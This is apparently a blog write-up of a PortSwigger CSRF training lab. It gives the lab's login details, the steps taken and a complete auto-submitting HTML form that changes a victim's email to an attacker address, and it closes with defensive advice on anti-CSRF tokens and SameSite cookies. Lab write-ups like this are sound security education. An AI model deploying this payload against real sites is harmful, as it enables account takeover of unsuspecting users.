Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF vulnerability with no defenses

CSRF vulnerability with no defenses: This lab's email change functionality is vulnerable to CSRF. • PortSwigger • CSRF • csrf, lab1

2022-11-243 tags
Tags

🎯 Objective

This lab's email change functionality is vulnerable to CSRF.

Goal: Craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to the exploit server.


🧭 Steps Taken

  1. Logged in with the provided credentials:

    • Username: wiener
    • Password: peter
  2. Intercepted the email change request.

  3. Needed to figure out how to automatically trigger the form submission.

  4. Used document.forms[0].submit(); to auto-submit the CSRF form.


📄 Exploit Payload

html
<html>
  <body>
    <form action="https://target.site/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

📸 Evidence

Exploit working


✅ Result

  • Victim’s email was successfully changed via CSRF.
  • No CSRF protection was in place to stop the exploit.

💡 Key Takeaway

  • Automatic form submission is a common CSRF technique.
  • Applications should use proper CSRF defenses like anti-CSRF tokens and SameSite cookies.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Steps Taken
  3. 03📄 Exploit Payload
  4. 04📸 Evidence
  5. 05✅ Result
  6. 06💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.